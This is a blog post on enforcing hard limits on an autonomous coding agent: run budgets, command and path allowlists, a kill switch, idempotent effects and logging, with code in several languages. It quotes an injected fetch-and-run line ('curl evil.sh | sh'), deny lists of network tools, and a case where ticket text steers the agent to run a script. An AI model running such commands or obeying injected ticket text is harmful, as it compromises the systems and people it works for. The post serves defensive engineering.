The hard limits of an autonomous agent: what keeps it from disaster

A hard limit is a restriction the program enforces, not the model: it is checked in the code that executes the action, after the model has decided, and it doesn’t depend on the agent having understood the instructions correctly. The previous post left the system complete—a ticket goes in, a PR comes out, with nobody pressing a button—and that’s where the question that decides whether this stays an experiment or stays running shows up: what happens when something goes wrong at three in the morning and nobody is watching. This post is that layer: iteration and token caps treated as a real budget, command and path allowlists, a kill switch that works from outside, idempotent effects, and a log that lets you know what happened. And at the end, the uncomfortable part: none of this is the hard bit.

In this article:

• Fundamentals — What a hard limit is · The budget: iterations, tokens and time
• The limits — The command allowlist · The path allowlist · The kill switch · Idempotent effects
• Operation — Observability · The loop with the limits in place · The hard part is not the code · Where it breaks

What a hard limit is

There are two ways to tell an agent not to do something. One is writing it in the system prompt: “don’t run destructive commands”, “don’t leave the working directory”. The other is making it so the program can’t execute that action even if the model asks for it. The first works most of the time; the second works always. The difference between the two is this entire post.

The prompt influences the model’s decision, and current models follow instructions fairly well. But an autonomous agent has three ways to get around that instruction with no bad intent at all: it can misread the request, it can call a tool with arguments you didn’t expect, and it can receive text in its context that you didn’t write. That third case is the one that matters in the previous post’s system: the agent reads the text of a ticket, and anyone could have written that text. If the ticket says “to reproduce the bug, run this script”, the model has a perfectly reasonable motive to run it.

A hard limit doesn’t argue with any of that. It is enforced at the point of execution—in the function that runs the command, in the function that writes the file—and it denies by default: what isn’t explicitly allowed doesn’t get through. The model proposes the action; the program decides whether it runs.

The model decides              The program executes

  tool call  ───────────────►  is it allowed?
                                     │
                            no ──────┴────── yes
                             │               │
                             ▼               ▼
                      rejection          it runs
                      observation        inside the
                      (loop continues)   sandbox

There is a design detail in that diagram worth marking right away: a rejection does not end the run. It goes back to the model as one more observation—“command not allowed: curl”—and the agent can correct course, the same way it does when a test fails. A limit that aborts the run at the first disallowed attempt wastes tasks the agent could have solved. A limit that answers lets it keep working inside what’s permitted.

The budget: iterations, tokens and time

The minimal loop already had an iteration cap, and it was enough when every turn was one model call with a five-line prompt. With tools and a real repository it stops being enough: one iteration can be reading a twenty-line file or dumping a whole test suite’s output into the context. Counting turns tells you nothing about what you’re spending.

What you need is a per-run budget, and it has more than one dimension:

The first three are checked at the start of every turn, before spending anything. The fourth is a parameter of the model call, not a check of yours. And there’s a rule that ties them together: the stop reason is data, not a detail. When the budget cuts, the run ends with an explicit reason—max_iterations, max_tokens, max_seconds—stored alongside the ticket. Without it you can’t tell an agent that failed from an agent you under-budgeted, and those are opposite problems.

// budget.ts — a run's budget. It gets consumed; it doesn't ask for permission.
export class BudgetExceeded extends Error {
  constructor(readonly reason: string) {
    super(reason);
  }
}

export class Budget {
  private iterations = 0;
  private tokens = 0;
  private readonly startedAt = Date.now();

  constructor(private readonly limits: { iterations: number; tokens: number; seconds: number }) {}

  // Called at the start of every turn, before spending anything.
  check(): void {
    const elapsed = (Date.now() - this.startedAt) / 1000;
    if (this.iterations >= this.limits.iterations) throw new BudgetExceeded("max_iterations");
    if (this.tokens >= this.limits.tokens) throw new BudgetExceeded("max_tokens");
    if (elapsed >= this.limits.seconds) throw new BudgetExceeded("max_seconds");
    this.iterations += 1;
  }

  // Called after every response, with the real usage the API reported.
  spend(tokens: number): void {
    this.tokens += tokens;
  }
}

# budget.py — a run's budget. It gets consumed; it doesn't ask for permission.
import time


class BudgetExceeded(Exception):
    def __init__(self, reason: str) -> None:
        super().__init__(reason)
        self.reason = reason


class Budget:
    def __init__(self, iterations: int, tokens: int, seconds: int) -> None:
        self.limits = {"iterations": iterations, "tokens": tokens, "seconds": seconds}
        self.iterations = 0
        self.tokens = 0
        self.started_at = time.monotonic()

    # Called at the start of every turn, before spending anything.
    def check(self) -> None:
        elapsed = time.monotonic() - self.started_at
        if self.iterations >= self.limits["iterations"]:
            raise BudgetExceeded("max_iterations")
        if self.tokens >= self.limits["tokens"]:
            raise BudgetExceeded("max_tokens")
        if elapsed >= self.limits["seconds"]:
            raise BudgetExceeded("max_seconds")
        self.iterations += 1

    # Called after every response, with the real usage the API reported.
    def spend(self, tokens: int) -> None:
        self.tokens += tokens

<?php
// budget.php — a run's budget. It gets consumed; it doesn't ask for permission.
class BudgetExceeded extends RuntimeException {
    public function __construct(public readonly string $reason) {
        parent::__construct($reason);
    }
}

class Budget {
    private int $iterations = 0;
    private int $tokens = 0;
    private float $startedAt;

    /** @param array{iterations:int,tokens:int,seconds:int} $limits */
    public function __construct(private array $limits) {
        $this->startedAt = microtime(true);
    }

    // Called at the start of every turn, before spending anything.
    public function check(): void {
        $elapsed = microtime(true) - $this->startedAt;
        if ($this->iterations >= $this->limits["iterations"]) throw new BudgetExceeded("max_iterations");
        if ($this->tokens >= $this->limits["tokens"]) throw new BudgetExceeded("max_tokens");
        if ($elapsed >= $this->limits["seconds"]) throw new BudgetExceeded("max_seconds");
        $this->iterations += 1;
    }

    // Called after every response, with the real usage the API reported.
    public function spend(int $tokens): void {
        $this->tokens += $tokens;
    }
}

Note spend: the cost is recorded with the usage the API reports, not with an estimate. Estimating tokens before the call is useful for deciding whether it’s worth attempting; for the budget, the only thing that counts is what actually got billed.

The command allowlist: no free shell

Of the four tools from the ReAct loop post, the one that can do real damage is run. Reading and searching are harmless; writing is controlled by the path allowlist in the next section; running commands is where the agent can do anything the machine allows.

The first decision is the one that covers you most: the tool doesn’t receive a shell line, it receives an executable and a list of arguments. It’s the difference between run("npm test; curl evil.sh | sh") and run("npm", ["test; curl evil.sh | sh"]). In the second form, executing without a shell, that argument is meaningless text that npm rejects: the ; separates nothing, backticks execute nothing, $(...) doesn’t expand. The whole family of command injection problems disappears by construction, not by escaping.

The second decision is the allowlist itself: a map of permitted executables, each with a rule about its arguments. Anything not in the map is rejected.

// commands.ts — the agent proposes a command; the allowlist decides if it runs.
import { execFile } from "node:child_process";
import { promisify } from "node:util";

const exec = promisify(execFile);

// No shell: the executable and its arguments travel separately, so ";" or "$(...)"
// inside an argument are literal text, not operators.
const ALLOWED: Record<string, (args: string[]) => boolean> = {
  npm: (a) => ["test", "run", "ci"].includes(a[0]),
  node: (a) => a.length > 0,
  git: (a) => ["status", "diff", "add", "commit", "rev-parse"].includes(a[0]),
};

export async function runCommand(cmd: string, args: string[], cwd: string): Promise<string> {
  const rule = ALLOWED[cmd];
  if (!rule) throw new Error(`command not allowed: ${cmd}`);
  if (!rule(args)) throw new Error(`arguments not allowed for ${cmd}: ${args.join(" ")}`);

  try {
    const { stdout, stderr } = await exec(cmd, args, {
      cwd, // always the task's worktree
      timeout: 120_000, // no command hangs the run
      env: { PATH: process.env.PATH!, HOME: cwd, CI: "1" }, // minimal env, no credentials
      maxBuffer: 8 * 1024 * 1024,
    });
    return (stdout + stderr).slice(0, 8_000); // the observation has a cap too
  } catch (err: any) {
    // A non-zero exit code is a valid observation, not a system failure.
    return `exit ${err.code}\n${(err.stdout ?? "") + (err.stderr ?? "")}`.slice(0, 8_000);
  }
}

# commands.py — the agent proposes a command; the allowlist decides if it runs.
import os
import subprocess

# No shell: the executable and its arguments travel separately, so ";" or "$(...)"
# inside an argument are literal text, not operators.
ALLOWED = {
    "npm": lambda a: a[0] in ("test", "run", "ci"),
    "node": lambda a: len(a) > 0,
    "git": lambda a: a[0] in ("status", "diff", "add", "commit", "rev-parse"),
}


def run_command(cmd: str, args: list[str], cwd: str) -> str:
    rule = ALLOWED.get(cmd)
    if rule is None:
        raise ValueError(f"command not allowed: {cmd}")
    if not rule(args):
        raise ValueError(f"arguments not allowed for {cmd}: {' '.join(args)}")

    try:
        proc = subprocess.run(
            [cmd, *args],
            cwd=cwd,                # always the task's worktree
            timeout=120,            # no command hangs the run
            env={"PATH": os.environ["PATH"], "HOME": cwd, "CI": "1"},  # minimal env
            capture_output=True,
            text=True,
        )
    except subprocess.TimeoutExpired:
        return "timeout: the command went over 120 s"

    out = proc.stdout + proc.stderr
    # A non-zero exit code is a valid observation, not a system failure.
    prefix = "" if proc.returncode == 0 else f"exit {proc.returncode}\n"
    return (prefix + out)[:8_000]  # the observation has a cap too

<?php
// commands.php — the agent proposes a command; the allowlist decides if it runs.

// No shell: the executable and its arguments travel separately, so ";" or "$(...)"
// inside an argument are literal text, not operators.
const ALLOWED = [
    "npm" => ["test", "run", "ci"],
    "git" => ["status", "diff", "add", "commit", "rev-parse"],
    "node" => null, // null = any argument
];

function run_command(string $cmd, array $args, string $cwd): string {
    if (!array_key_exists($cmd, ALLOWED)) {
        throw new RuntimeException("command not allowed: $cmd");
    }
    $rule = ALLOWED[$cmd];
    if ($rule !== null && !in_array($args[0] ?? "", $rule, true)) {
        throw new RuntimeException("arguments not allowed for $cmd: " . implode(" ", $args));
    }

    $descriptors = [1 => ["pipe", "w"], 2 => ["pipe", "w"]];
    // Passing the command as an array avoids the shell. Minimal env, no credentials.
    $proc = proc_open([$cmd, ...$args], $descriptors, $pipes, $cwd, [
        "PATH" => getenv("PATH"), "HOME" => $cwd, "CI" => "1",
    ]);
    $out = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $code = proc_close($proc);

    // A non-zero exit code is a valid observation, not a system failure.
    $prefix = $code === 0 ? "" : "exit $code\n";
    return substr($prefix . $out, 0, 8000); // the observation has a cap too
}

Now the honest part, because a misunderstood allowlist gives a sense of security that isn’t warranted: npm test and node execute arbitrary code. Your tests are code, and the agent can write a test file and then run it. The allowlist doesn’t limit what code executes; it limits what tools the agent can invoke directly, and that removes a lot of noise—no curl, no rm, no git push --force, no touching git config—but it doesn’t stop code from running. What contains that is the sandbox: an ephemeral container, without credentials it doesn’t need and with restricted network. The allowlist and the sandbox are different layers and you need both.

Three practical rules for building the list: ban everything that writes outside the repository (curl, wget, ssh, scp), ban the git subcommands that rewrite history or change configuration (push, remote, config, reset --hard on other branches), and don’t put an executable on the list without deciding what arguments it accepts. npm run <script> is exactly as powerful as the package.json in front of it.

The path allowlist: where it can write

The isolation of the worktree per task assumes the agent stays inside the worktree. Nothing guarantees that: a relative path with ../../, an absolute path, or a symlink inside the repository pointing outside are all enough to escape. The check has to be on the resolved path, not on the one the model wrote.

It’s three steps and you need all three:

1. Resolve. Turn the candidate path into an absolute one against the worktree root and pass it through realpath, which follows symlinks. Comparing strings without resolving is the classic mistake: docs/../../../etc/passwd starts with docs/ and is not inside docs/.
2. Compare with the separator included. The root /work/repo does not contain /work/repo-old, even though the prefix matches. You compare against /work/repo/.
3. Deny protected paths inside the repo itself. .git/ is the most important one: writing to .git/hooks/pre-commit is code execution on the next commit, and writing to .git/config changes where the remote points. Also .env and any credentials file living in the tree.

// paths.ts — every write goes through here: resolve, compare and decide.
import { mkdir, realpath, writeFile } from "node:fs/promises";
import { basename, dirname, join, resolve, sep } from "node:path";

const DENIED = [/(^|\/)\.git(\/|$)/, /(^|\/)\.env/, /(^|\/)node_modules(\/|$)/];

export async function writeFileSafe(root: string, candidate: string, content: string): Promise<string> {
  const realRoot = await realpath(root);
  const target = resolve(realRoot, candidate);

  // realpath on the parent directory resolves symlinks: one pointing outside is caught here.
  // (If the parent doesn't exist yet, a real system walks up to the first ancestor that does.)
  const parent = await realpath(dirname(target)).catch(() => dirname(target));
  const full = join(parent, basename(target));

  // The separator keeps "/work/repo-old" from passing as being inside "/work/repo".
  if (full !== realRoot && !full.startsWith(realRoot + sep)) {
    throw new Error(`path outside the workspace: ${candidate}`);
  }
  const relative = full.slice(realRoot.length);
  if (DENIED.some((re) => re.test(relative))) {
    throw new Error(`protected path: ${candidate}`);
  }

  await mkdir(dirname(full), { recursive: true });
  await writeFile(full, content, "utf8");
  return `written: ${relative} (${content.length} bytes)`;
}

# paths.py — every write goes through here: resolve, compare and decide.
import re
from pathlib import Path

DENIED = [re.compile(r"(^|/)\.git(/|$)"), re.compile(r"(^|/)\.env"), re.compile(r"(^|/)node_modules(/|$)")]


def write_file_safe(root: str, candidate: str, content: str) -> str:
    real_root = Path(root).resolve()
    target = real_root / candidate

    # resolve() on the parent directory follows symlinks: one pointing outside is
    # caught here. (If the parent doesn't exist, strict=False leaves the path as is.)
    parent = target.parent.resolve()
    full = parent / target.name

    # relative_to fails if the path ended up outside the root: that's the check.
    try:
        relative = full.relative_to(real_root)
    except ValueError:
        raise ValueError(f"path outside the workspace: {candidate}")
    if any(rx.search(f"/{relative}") for rx in DENIED):
        raise ValueError(f"protected path: {candidate}")

    full.parent.mkdir(parents=True, exist_ok=True)
    full.write_text(content, encoding="utf-8")
    return f"written: {relative} ({len(content)} bytes)"

<?php
// paths.php — every write goes through here: resolve, compare and decide.
const DENIED = ['#(^|/)\.git(/|$)#', '#(^|/)\.env#', '#(^|/)node_modules(/|$)#'];

function write_file_safe(string $root, string $candidate, string $content): string {
    $realRoot = realpath($root);
    $target = str_starts_with($candidate, "/") ? $candidate : "$realRoot/$candidate";

    // realpath on the parent directory resolves symlinks: one pointing outside is caught here.
    // (If the parent doesn't exist yet, a real system walks up to the first ancestor that does.)
    $parent = realpath(dirname($target)) ?: dirname($target);
    $full = $parent . "/" . basename($target);

    // The separator keeps "/work/repo-old" from passing as being inside "/work/repo".
    if ($full !== $realRoot && !str_starts_with($full, $realRoot . "/")) {
        throw new RuntimeException("path outside the workspace: $candidate");
    }
    $relative = substr($full, strlen($realRoot));
    foreach (DENIED as $rx) {
        if (preg_match($rx, $relative)) throw new RuntimeException("protected path: $candidate");
    }

    @mkdir(dirname($full), 0o777, true);
    file_put_contents($full, $content);
    return "written: $relative (" . strlen($content) . " bytes)";
}

The same function has to cover reads, not just writes. An agent that can read any path on the system can pull the contents of ~/.ssh/id_rsa or another project’s .env into its context, and that content then travels to the model and can end up in a diff. Reading looks harmless and it isn’t.

The kill switch: shutting it down from outside

A kill switch is the answer to a very concrete question: if the agent is doing something you don’t want, how do you stop it right now, without deploying code and without hunting for a process by hand? There are two levels and you need both, because they cover different failures.

The cooperative shutdown is a flag the loop checks at the start of every turn. It ends cleanly: it saves the state, records the stop reason, deletes the workspace and comments on the ticket. It’s the one you want almost always. It doesn’t help when the agent is blocked inside a ten-minute command, because nobody is checking anything.

The forced shutdown is the supervisor killing the process or the container. It’s the one that covers hangs, and that’s why the wall-clock timeout from the budget section also has to exist outside the agent: if the process doesn’t finish on its own, someone finishes it for it.

The flag lives in the database, next to the queue from the previous post. Not in an environment variable—changing it forces a restart—nor in memory—it doesn’t cross processes:

-- Stop one specific ticket: one more column on the queue table.
ALTER TABLE tickets ADD COLUMN stop_requested BOOLEAN NOT NULL DEFAULT false;

-- Stop the whole system: a row the workers check before claiming.
CREATE TABLE agent_settings (
  key   TEXT PRIMARY KEY,
  value TEXT NOT NULL
);
INSERT INTO agent_settings (key, value) VALUES ('paused', 'false');

With that, stopping a run is an UPDATE, and there are two different scopes:

-- One ticket: the loop sees it on its next turn and ends with reason = 'stopped'.
UPDATE tickets SET stop_requested = true WHERE jira_key = 'ENG-1234';

-- Everything: workers stop claiming new tickets. The ones already running keep
-- going until they finish, unless you also stop them one by one.
UPDATE agent_settings SET value = 'true' WHERE key = 'paused';

The global pause has to act on the claim, not just on the loop. If you pause the loops but the workers keep pulling tickets off the queue, all you achieve is marking as failed every ticket that arrives while the pause lasts. Pausing means stopping the intake of work, and what to do with work in flight is decided separately.

And the forced one, when the process no longer responds:

# The worker runs each task in its own container, named after the ticket:
# that makes the forced shutdown a single command, with no PID hunting.
docker kill agent-ENG-1234

# The whole system, when you need to cut now and sort it out later.
docker ps --filter "name=agent-" -q | xargs -r docker kill

The last one, and the most forgotten: the kill switch has to be operable by someone who isn’t you. If the only way to stop the system is in your terminal, the system doesn’t have a kill switch, it has a procedure that depends on you being awake. A command documented in the repository’s README, or a button on an internal dashboard, is the difference between a ten-minute incident and a three-hour one.

Idempotency: a retry must not duplicate the effect

The previous post solved the idempotency of processing: the primary key absorbs duplicate enqueues and the atomic claim lets a single worker take each ticket. The other half is missing, and it’s the one that shows from the outside: the idempotency of the effects. A worker that crashes after opening the PR but before marking the ticket as pr_open will retry the whole task, and if creating the PR isn’t idempotent, now there are two.

The rule that solves it is a single one: derive the identity of every effect from the ticket key, and check before creating. The branch is agent/ENG-1234, not agent/fix-search-20260831-142233. With a deterministic name, the second attempt finds what the first one left and continues it instead of duplicating it.

# Before creating the PR: is there already one open for this branch?
existing=$(gh pr list --head "agent/$TICKET" --state open --json url --jq '.[0].url')

if [ -n "$existing" ]; then
  # The previous attempt already opened it: push the new commits and reuse the PR.
  git push --force-with-lease origin "agent/$TICKET"
  echo "$existing"
else
  gh pr create --head "agent/$TICKET" --title "$TICKET: $SUMMARY" --body-file pr-body.md
fi

The Jira comment has the same problem and the same solution: store the comment_id the API returns on the ticket’s row and, if it already exists, edit that comment instead of posting another. A ticket with four identical comments from the agent is the sign that exactly this was missing.

It’s worth seeing why this section is in a post about limits and didn’t stay in the previous one. Hard limits produce stops, and stops produce retries: every time the budget cuts, every time someone flips the kill switch, every time the supervisor kills a hung process, someone is going to put that ticket back in the queue. If the effects aren’t idempotent, the limits you installed to prevent disasters become the main source of mess.

Observability: what to log on every run

An agent with no log is impossible to improve, because the questions you’ll have aren’t answered by looking at the result: why this task took twenty iterations and that one three, which tool was called right before it went down the wrong path, what the ticket actually cost, how many times the allowlist rejected something and whether that rejection was correct.

Log two things. One event per iteration, with what happened on that turn:

{
  "run_id": "01J9QK3M7X",
  "ticket": "ENG-1234",
  "iteration": 7,
  "tool": "run",
  "args": { "cmd": "npm", "args": ["test"] },
  "outcome": "exit 1",
  "duration_ms": 8421,
  "tokens_in": 12480,
  "tokens_out": 517,
  "budget_left": { "iterations": 13, "tokens": 287520, "seconds": 604 }
}

And one event per run, when it ends, with the stop reason. That field is the most useful one in the whole system, because its distribution tells you what to fix:

One detail that isn’t optional: an agent’s logs are a dangerous place for secrets. Full prompts, file contents and command output all go there, and any of the three can carry a token inside. Truncate the output, filter values matching credential patterns, and don’t store the contents of the files the agent reads: store the path and the size. If you need to reproduce a run, the branch’s diff tells you more than a dump of the context.

The loop with the limits in place

With all the pieces, the series’ loop doesn’t change shape; what changes is what sits before and after each action:

every turn of the loop
   │
   ├─► kill switch flipped?      ── yes ─► stop, reason = "stopped"
   ├─► budget exhausted?         ── yes ─► stop, reason = "max_iterations|max_tokens|max_seconds"
   │
   ▼
model call ──► proposes a tool ──► record the real spend
   │
   ├─► command on the allowlist? ── no ─► rejection observation ─┐
   ├─► path inside the worktree? ── no ─► rejection observation ─┤
   │                                                             │
   ▼                                                             │
run inside the sandbox ──► observation ───────────────────────────┤
                                                                  ▼
                                                 log the iteration and continue

In code, the whole loop:

// agent.ts — the series' loop, now with the limits in place.
import { Budget, BudgetExceeded } from "./budget";
import { runCommand } from "./commands";
import { writeFileSafe } from "./paths";
import { isStopRequested } from "./killswitch";
import { logIteration } from "./log";

export async function runAgent(ticket: string, goal: string, root: string) {
  const budget = new Budget({ iterations: 20, tokens: 400_000, seconds: 900 });
  const messages = [{ role: "user", content: goal }];

  for (;;) {
    // The two limits checked BEFORE spending anything.
    if (await isStopRequested(ticket)) return { reason: "stopped", budget };
    try {
      budget.check();
    } catch (err) {
      if (err instanceof BudgetExceeded) return { reason: err.reason, budget };
      throw err;
    }

    const reply = await callModel(messages, { maxTokens: 4096 });
    budget.spend(reply.usage.total); // the real usage the API reported
    if (!reply.toolCall) return { reason: "done", budget };

    const observation = await guardedTool(reply.toolCall, root);
    messages.push(reply.message, { role: "user", content: observation });
    logIteration(ticket, budget, reply, observation);
  }
}

// A rejection comes back as an observation: the agent reads it and can correct course.
async function guardedTool(call: ToolCall, root: string): Promise<string> {
  try {
    if (call.name === "run") return await runCommand(call.args.cmd, call.args.args, root);
    if (call.name === "write") return await writeFileSafe(root, call.args.path, call.args.content);
    return `unknown tool: ${call.name}`;
  } catch (err: any) {
    return `rejected: ${err.message}`;
  }
}

# agent.py — the series' loop, now with the limits in place.
from budget import Budget, BudgetExceeded
from commands import run_command
from paths import write_file_safe
from killswitch import is_stop_requested
from log import log_iteration


def run_agent(ticket: str, goal: str, root: str) -> dict:
    budget = Budget(iterations=20, tokens=400_000, seconds=900)
    messages = [{"role": "user", "content": goal}]

    while True:
        # The two limits checked BEFORE spending anything.
        if is_stop_requested(ticket):
            return {"reason": "stopped", "budget": budget}
        try:
            budget.check()
        except BudgetExceeded as err:
            return {"reason": err.reason, "budget": budget}

        reply = call_model(messages, max_tokens=4096)
        budget.spend(reply.usage.total)  # the real usage the API reported
        if not reply.tool_call:
            return {"reason": "done", "budget": budget}

        observation = guarded_tool(reply.tool_call, root)
        messages += [reply.message, {"role": "user", "content": observation}]
        log_iteration(ticket, budget, reply, observation)


# A rejection comes back as an observation: the agent reads it and can correct course.
def guarded_tool(call, root: str) -> str:
    try:
        if call.name == "run":
            return run_command(call.args["cmd"], call.args["args"], root)
        if call.name == "write":
            return write_file_safe(root, call.args["path"], call.args["content"])
        return f"unknown tool: {call.name}"
    except Exception as err:
        return f"rejected: {err}"

<?php
// agent.php — the series' loop, now with the limits in place.
require "budget.php";
require "commands.php";
require "paths.php";
require "killswitch.php";
require "log.php";

function run_agent(string $ticket, string $goal, string $root): array {
    $budget = new Budget(["iterations" => 20, "tokens" => 400000, "seconds" => 900]);
    $messages = [["role" => "user", "content" => $goal]];

    while (true) {
        // The two limits checked BEFORE spending anything.
        if (is_stop_requested($ticket)) return ["reason" => "stopped", "budget" => $budget];
        try {
            $budget->check();
        } catch (BudgetExceeded $err) {
            return ["reason" => $err->reason, "budget" => $budget];
        }

        $reply = call_model($messages, maxTokens: 4096);
        $budget->spend($reply->usage->total); // the real usage the API reported
        if (!$reply->toolCall) return ["reason" => "done", "budget" => $budget];

        $observation = guarded_tool($reply->toolCall, $root);
        $messages[] = $reply->message;
        $messages[] = ["role" => "user", "content" => $observation];
        log_iteration($ticket, $budget, $reply, $observation);
    }
}

// A rejection comes back as an observation: the agent reads it and can correct course.
function guarded_tool(object $call, string $root): string {
    try {
        if ($call->name === "run") return run_command($call->args["cmd"], $call->args["args"], $root);
        if ($call->name === "write") return write_file_safe($root, $call->args["path"], $call->args["content"]);
        return "unknown tool: {$call->name}";
    } catch (Throwable $err) {
        return "rejected: " . $err->getMessage();
    }
}

That’s about forty lines and none of them are hard. Which is exactly the point of the next section.

The hard part is not the code

Everything above is an afternoon of work. The budget is thirty lines, the allowlists another sixty, the kill switch is a column and an UPDATE, the observability is a function that writes JSON. If the project stalls on you, it won’t be here.

What decides whether the system is worth it is something else: making the PRs worth reviewing. An agent that produces ten PRs a day nobody wants to read isn’t an autonomous system, it’s a new source of work. And that quality doesn’t come from the agent or its limits; it comes from two things you either have or don’t have before you start.

The first is ticket quality. A ticket that says “search is broken” gives the agent nothing to reproduce the problem with, and the PR that comes out of it will be a guess. A ticket with steps to reproduce, expected versus observed behaviour and a hint of where the code lives produces a PR you can review without rebuilding the problem from scratch. The agent-ready label from the previous post looked like a cost filter; it’s really a quality gate: it means “this ticket has what’s needed to work on it without asking”.

The second is your test suite. The agent optimises for passing the evaluator, and your suite is the evaluator. If it’s shallow, green means nothing and every PR forces you to read the whole diff with suspicion—which is exactly the work you were trying to avoid. If it’s slow, every iteration costs minutes and the time cap cuts legitimate tasks. And if it’s flaky, that’s worse than the other two combined: the agent will “fix” a test that fails at random, and you’ll get PRs that change correct code to accommodate noise.

Hard limits are the cheap part: a handful of checks that keep a bad day from becoming an incident. What decides whether the system is worth it is whether the PRs can be reviewed quickly, and that depends on the clarity of your tickets and the quality of your suite—two things no agent fixes.

The practical conclusion is an order of work. If your suite is weak or your tickets are vague, do that first, even before building the agent: it’s work that pays off whether or not the agent ever arrives. And if you already have them, the limits in this post are what let you leave it running.

Where it breaks

• An allowlist with an interpreter in it doesn’t limit code. npm test runs your tests, which are code, and the agent can write a test. The allowlist controls the tools; what controls the code is the sandbox. Confusing the two is the easiest security mistake to make in this architecture.
• A per-run budget is not a spend budget. A token cap per task multiplied by N workers and by every ticket of the day can be an enormous bill. You also need an aggregate cap—per day, per project—that cuts off the claiming of new tickets when it’s reached.
• The ticket’s text enters the context. Limits contain the damage of an injected instruction, but they don’t eliminate it: a ticket can ask the agent to write something into the diff that shouldn’t be there, and anything the agent can write can end up in the PR. Human review is still the last control, and that’s why the output is a PR and not a merge.
• The cooperative kill switch doesn’t stop a hung process. It works as long as the loop keeps turning. If the agent is inside a command that never finishes, the only thing that stops it is the supervisor killing the container, and that has to be in place before you need it.
• Badly calibrated limits fail good tasks. An iteration cap that’s too low turns solvable tasks into max_iterations. That’s why the stop reason gets stored: its distribution tells you whether the problem is the agent or your calibration.
• Observability carries its own risk. An agent’s logs contain prompts, files and command output. With no truncation and no secret filtering, you’ve just created a new place where credentials leak.
• None of this makes the agent trustworthy, only bounded. The limits keep a bad run from becoming a disaster. They don’t make the change correct; whoever reviews the PR still decides that.

Frequently asked questions

Isn’t it enough to ask it in the prompt not to do dangerous things?

No. The prompt influences the model’s decision, and it works most of the time, but it isn’t a guarantee: the model can misread the request, call a tool with unexpected arguments, or receive text in its context that you didn’t write—a ticket’s, for example. A hard limit is enforced in the code that executes the action, after the model has decided, so it doesn’t depend on any of that. The practical rule: if the violation causes you a serious problem, it goes in the code; if it only causes an annoyance, it can go in the prompt.

What values should I set for the iteration and token caps?

There are no universal numbers, they depend on the size of your tasks and the model you use. The method is general, though: start conservative, store the stop reason of every run, and look at the distribution after a few dozen tickets. If max_iterations dominates, either your tasks are too large or your tests’ feedback doesn’t guide the agent. If nothing ever hits a limit, you can tighten them and save. Calibrating with your own data is more useful than copying someone else’s values.

How do I stop the agent from running dangerous commands?

With two decisions. First, have the tool receive an executable and a list of arguments instead of a shell line: with no shell in the way, a ; or a $(...) inside an argument is literal text and command injection disappears by construction. Second, an allowlist of permitted executables with rules about their arguments, where anything unlisted is rejected. Keep in mind that if there’s an interpreter on that list—node, python, npm test—the agent can still execute code; that’s contained by the sandbox, not by the allowlist.

Where should the kill switch live?

In the database, on the same queue table: a stop_requested column per ticket and a global row to pause the whole system. Not in an environment variable, because changing it forces a restart, nor in memory, because it doesn’t cross processes. Add a forced shutdown—killing the task’s container—for the cases where the loop is blocked and never gets to check the flag. And document it: if only you know how to stop it, the system depends on you being available.

How do I stop a retry from opening two pull requests?

By deriving the effect’s identity from the ticket key and checking before creating. The branch is called agent/ENG-1234, with no timestamp, so the second attempt finds the first one’s; before opening the PR you check whether one is already open for that branch and, if it exists, you push the new commits instead of creating another. Same with the Jira comment: store the id the API returns and edit it. It’s the natural continuation of the idempotency of processing, and it’s needed precisely because hard limits generate stops and retries.

With these limits, can I leave it running without looking?

You can leave it running without watching it minute by minute, which is different from not looking at it. The limits keep a bad run from becoming an incident: they bound the spend, the commands it can execute and the paths it can write, and they give you a log to understand what happened. What they don’t do is judge whether the change is correct. That’s still the job of whoever reviews the PR, and it’s the control point the design deliberately reserves for a person.

How much work is implementing all this?

Little, and that’s the counterintuitive part. The budget, the two allowlists, the kill switch and the structured log are a few dozen lines each, and none of them is technically difficult. The expensive part is elsewhere: getting the tickets written well and the test suite fast, stable and with real coverage. Without that, the agent produces PRs that cost more to read than to write, and no limit fixes that problem.

Conclusion

Hard limits are what separates an agent you show in a demo from one you leave wired to a ticket queue. They’re five pieces: a per-run budget with iterations, tokens and time, ending with an explicit reason; a command allowlist that doesn’t go through the shell; a path allowlist that compares resolved paths and protects .git and credentials; a kill switch in the database with a forced shutdown behind it; and idempotent effects, so the stops those limits cause don’t leave duplicate PRs and comments. On top of all of it, a log per iteration and per run, because an agent you can’t observe is one you can’t improve either.

If you’re going to build it, this is the order that pays off fastest: first the budget and the stop reason, which is what gives you data; then the path allowlist, which is where a mistake does real damage; then the command one; then the kill switch; and last the structured log. Each step is worth it on its own and none depends on the next.

And once they’re in place, look the other way. The whole series built an agent that works alone inside limits you set, but the ceiling on what it can give you isn’t set by its architecture: it’s set by your tickets and your test suite. Hard limits prevent the disaster; the quality of the input is what turns all of this into something that genuinely saves you work.